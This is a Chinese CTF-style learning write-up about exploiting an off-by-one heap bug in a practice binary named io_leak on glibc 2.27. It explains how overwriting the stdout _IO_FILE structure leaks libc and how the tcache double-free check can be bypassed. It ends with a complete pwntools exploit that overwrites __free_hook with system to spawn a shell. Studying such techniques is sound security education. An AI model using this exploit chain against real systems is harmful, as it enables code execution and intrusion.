Pwn学习总结(25):_IO_FILE – io_leak

实验平台:

x86_64, Ubuntu 18.04.6 LTS, Kernel 4.15.0-170-generic
GLIBC 2.27-3ubuntu1.5

实验Binary及答案:https://github.com/bjrjk/pwn-learning/tree/main/IO_FILE/io_leak

ELF安全性:

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

amd64体系结构,保护全开。

IDA反编译后的代码如下:

unsigned __int64 init_buf()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  alarm(60u);
  return __readfsqword(0x28u) ^ v1;
}
unsigned __int64 __fastcall read_str(char *buf, int size)
{
  int i; // [rsp+18h] [rbp-18h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i < size; ++i )
  {
    if ( (unsigned int)read(0, buf, 1uLL) == -1 )
      exit(1);
    if ( *buf == 10 )
      break;
    ++buf;
  }
  return __readfsqword(0x28u) ^ v5;
}
__int64 read_int()
{
  char nptr[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  read_str(nptr, 8);
  return atol(nptr);
}
unsigned __int64 menu()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("1.Add");
  puts("2.Delete");
  puts("3.Exit");
  puts(">>>");
  return __readfsqword(0x28u) ^ v1;
}
unsigned __int64 add()
{
  unsigned __int64 id; // [rsp+8h] [rbp-18h]
  unsigned __int64 size; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("idx:");
  id = read_int();
  if ( id > 0xF )
  {
    puts("error.");
    exit(1);
  }
  puts("len:");
  size = read_int();
  if ( size > 0xFFF )
  {
    puts("error.");
    exit(1);
  }
  notes_size[id] = size + 1;                    // vulnerable, offbyone
  notes[id] = (char *)malloc(size);
  puts("content:");
  read(0, notes[id], notes_size[id]);
  return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 delete()
{
  unsigned __int64 v1; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("idx:");
  v1 = read_int();
  if ( v1 > 0xF || !notes[v1] )
  {
    puts("error.");
    exit(1);
  }
  free(notes[v1]);
  notes[v1] = 0LL;
  notes_size[v1] = 0LL;
  return __readfsqword(0x28u) ^ v2;
}
__int64 exit_s()
{
  return 0LL;
}
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // rax

  init_buf();
  puts("Useless safebox.");
  while ( 1 )
  {
    menu();
    v3 = read_int();
    switch ( v3 )
    {
      case 2LL:
        delete();
        break;
      case 3LL:
        exit_s();
        break;
      case 1LL:
        add();
        break;
    }
  }
}

本题目的漏洞点是一个offbyone,我们可以利用堆块覆盖来实现double free的利用。

在本题目中,可以明显地看到,只有添加堆块和删除堆块功能。我们泄露不了libc的基址。所以我们必须另找一个方法。这个方法就是利用IO_FILE结构,实现任意地址读。下面先对IO_FILE做一个大概的介绍。

_IO_FILE

首先,我们来了解_IO_FILE结构体在文件读写流程中所处的位置。

学过操作系统的人都知道,应用程序对一切与进程外的交互操作利用系统调用实现。系统调用比较底层,作为普通编程者,一般不会直接使用系统调用完成各项操作,而是使用libc给我们提供的封装好的各种函数与结构体对文件进行操作。而_IO_FILE结构体恰好就是libc中,为用户封装好的结构体。

_IO_FILE结构体主要负责处理输入输出过程中,数据缓冲的相关事宜。其结构体定义[1]如下:

struct _IO_FILE
{
  int _flags;                /* High-order word is _IO_MAGIC; rest is flags. */
  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;        /* Current read pointer */
  char *_IO_read_end;        /* End of get area. */
  char *_IO_read_base;        /* Start of putback+get area. */
  char *_IO_write_base;        /* Start of put area. */
  char *_IO_write_ptr;        /* Current put pointer. */
  char *_IO_write_end;        /* End of put area. */
  char *_IO_buf_base;        /* Start of reserve area. */
  char *_IO_buf_end;        /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */
  struct _IO_marker *_markers;
  struct _IO_FILE *_chain;
  int _fileno;
  int _flags2;
  __off_t _old_offset; /* This used to be _offset but it's too small.  */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];
  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

其中, char *_IO_* 指针都是负责数据缓冲区的相关指针。

而stdin,stdout和stderr都会使用这个结构体,名称分别是_IO_2_1_stdin__IO_2_1_stdout__IO_2_1_stderr_。他们都开在libc的数据段上。与此相对应的,他们的buf也都开在libc的数据段上,而且还是在结构体的后面。因此,此结构体中的_IO_*指针的高位指向的都是libc地址。

因此,为了实现任意地址读,一个很直观的想法就是把_IO_write_base改成我们想要的地址。而我们想要泄露libc地址,只需要改掉_IO_write_base的低位,就可以把结构体的内容输出出来,从而达到泄露libc地址的目的。

但是光改这一个地方还不够,还需要去改掉_flags域。其定义[2]如下:

/* Magic number and bits for the _flags field.  The magic number is
   mostly vestigial, but preserved for compatibility.  It occupies the
   high 16 bits of _flags; the low 16 bits are actual flag bits.  */
#define _IO_MAGIC         0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK    0xFFFF0000
#define _IO_USER_BUF          0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED        0x0002
#define _IO_NO_READS          0x0004 /* Reading not allowed.  */
#define _IO_NO_WRITES         0x0008 /* Writing not allowed.  */
#define _IO_EOF_SEEN          0x0010
#define _IO_ERR_SEEN          0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close.  */
#define _IO_LINKED            0x0080 /* In the list of all open files.  */
#define _IO_IN_BACKUP         0x0100
#define _IO_LINE_BUF          0x0200
#define _IO_TIED_PUT_GET      0x0400 /* Put and get pointer move in unison.  */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING      0x1000
#define _IO_IS_FILEBUF        0x2000
                           /* 0x4000  No longer used, reserved for compat.  */
#define _IO_USER_LOCK         0x8000

修改方法是,需要将原本的_flags或上_IO_CURRENTLY_PUTTING_IO_IS_APPENDING,即0x1800。具体原因请参考[3]。

为了能够改到stdout,我们使用Offbyone首先做堆块覆盖,然后UAF,把下一个堆块地址引向_IO_2_1_stdout_的所在位置,即可进行覆写。

注意:因为地址随机化只有低12比特保持不变,而我们覆写地址的时候只能复写8比特的倍数。因此第2字节的高半部必须进行爆破。中奖率1/16。

TCache Double Free的绕过

本题目中使用的Ubuntu18.04的glibc的tcache已经有double free检测了。非常不幸,所以我们后期在做hook覆盖的时候必须把这个问题绕过去。所以我再来讲一下这个问题。

TCache的MetaData结构体如下:

/* We overlay this structure on the user-data portion of a chunk when
   the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
  /* This field exists to detect double frees.  */
  struct tcache_perthread_struct *key;
} tcache_entry;

对double free域的设置如下:

/* Caller must ensure that we know tc_idx is valid and there's room
   for more chunks.  */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

可以看出,将Chunk加入TCache时,在原本bk域的位置加入了key域,将指针设为tcache的值。下次再free时,如果检测到这个值不是tcache,就能够继续运行。

为了绕过这个问题,我们可以首先让tcache填满,迫使chunk进入(fast/unsorted)bin。要使用double free的chunk的时候,再把tcache里的东西都取出来,之后bins里的chunk会再进入tcache。这个时候double free就检测不到了。

Exp

直接上Exp。有些关键点我后面再解释。

#!/usr/bin/env python2
# coding = utf-8

from pwn import *
from LibcSearcher import *
context(arch = "amd64", os = "linux", log_level = "debug")

def send_choice(choice):
    p.recvuntil('>>>\n')
    p.sendline(str(choice))

def add(id, len, content):
    send_choice(1)
    p.recvuntil('idx:\n')
    p.sendline(str(id))
    p.recvuntil('len:\n')
    p.sendline(str(len))
    p.recvuntil('content:\n')
    p.send(content)

def delete(id):
    send_choice(2)
    p.recvuntil('idx:\n')
    p.sendline(str(id))

def leak_libc():
    _IO_FLAG = 0xfbad3887
    add(0, 1, '\n')         # Chunk #0 to do offbyone
    add(1, 0x4f0, '\n')     # The Large Chunk #1 whose range in UnsortedBin and whose size will be modified
    add(2, 0xb0, '\n')      # The overlapped Chunk #2
    add(3, 0xb0, '\n')      # The chunk to gap between top chunk preventing from consolidating
    for i in range(7, 15):
        add(i, 0x60, '\n')     # Chunk #8 ~ #14 for future usage
    delete(2)               # Send Chunk #2 to TCache immediately or malloc fail sending after faking enlarged Chunk #1
    delete(0)               # Recreate the Chunk #0 to fake Chunk #1 's size to overlap original Chunk #2
    add(0, 0x18, '/bin/sh\x00' * 3 + '\xc1')
    delete(1)               # Send the unioned 0x5c0 size chunk to UnsortedBin
    add(1, 0x4f0, '\n')     # Split the Chunk #1 out, lefting Chunk #2 in sortedBin
                            # Currently Chunk #2 in both TCache & UnsortedBin! Leaked libc address in Chunk #2 's `fd` field.
    add(4, 0x60, '\x60\x47') # Write random Address of stdout in `fd` to allocate a next chunk on (maybe) _IO_FILE struct `stdout`, predication accuracy 1/16
    add(2, 0xb0, '\n')
    add(5, 0xb0, p64(_IO_FLAG) + p64(0) * 3 + '\x80')   # Write IO_FLAG & _IO_write_base's low byte to point to itself

elf = ELF('./io_leak')
# gdb.attach(p, '')

while True:
    try:
        p = process('./io_leak')
        leak_libc()
        stdout_IO_write_base = p.recvuntil('\x7f', timeout=0.5)
        if len(stdout_IO_write_base) != 0:
            break
    except Exception:
        p.close()
        continue

stdout = u64(stdout_IO_write_base.ljust(8, '\x00')) - 0x20
log.info('stdout: ' + hex(stdout))
libc = LibcSearcher('_IO_2_1_stdout_', stdout)
libc_base = stdout - libc.dump('_IO_2_1_stdout_')
system_libc = libc_base + libc.dump('system')
free_hook = libc_base + libc.dump('__free_hook')
log.info('libc_base: ' + hex(libc_base))
log.info('system_libc: ' + hex(system_libc))
log.info('free_hook: ' + hex(free_hook))

gdb.attach(p, '')
for i in range(8, 15):
    delete(i)       # Fill TCache Bins to prevent from TCache double free detection
delete(2)           # FastBin Double Free
delete(7)
delete(4)
for i in range(8, 15):
    add(i, 0x60, '\n')     # Release TCache Bins
add(2, 0x60, p64(free_hook))    # TCache has no `size` field check, so we can write any address
add(7, 0x60, '\n')
add(4, 0x60, '\n')
add(6, 0x60, p64(system_libc))  # write `system` to `free_hook`
delete(0)                       # UserMem of Chunk #0 start with '/bin/sh\x00'
p.interactive()

由于需要爆破_IO_2_1_stdout_的地址,所以专门写个函数和while循环用来爆破。

leak_libc函数的大体过程如下:

  1. 预先申请Chunk给后面填充TCache防止Double free出错用。
  2. Chunk #0改写Chunk #1的size去覆盖Chunk #2。
  3. 回收Chunk #2进TCache,回收Chunk #1+#2进UnsortedBin。
  4. 从UnsortedBin里把Chunk #1申请出来。这样Chunk #2既在TCache里也在UnsortedBin里。
  5. 申请UnsortedBin的Chunk #2,覆写TCache MetaData的next域到_IO_2_1_stdout_
  6. 如果成功继续进行,否则报Exception重来。

接下来的步骤:

  1. 泄露libc。
  2. 填满TCache,然后做FastBin上的Double Free操作。
  3. 把TCache上的Chunk拓展到__free_hook处。此处注意,TCache的申请堆块不检查size域,因此虽然__free_hook前面为全0,但是不影响堆块申请。
  4. __free_hook写成system
  5. 之前已经往堆块上写了/bin/sh\x00,直接执行delete(堆块id)就等价于system("/bin/sh")。getshell成功。

参考资料:
[1] https://code.woboq.org/userspace/glibc/libio/bits/types/struct_FILE.h.html
[2] https://code.woboq.org/userspace/glibc/libio/libio.h.html
[3] http://pzhxbz.cn/?p=139
[4] https://code.woboq.org/userspace/glibc/malloc/malloc.c.html

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注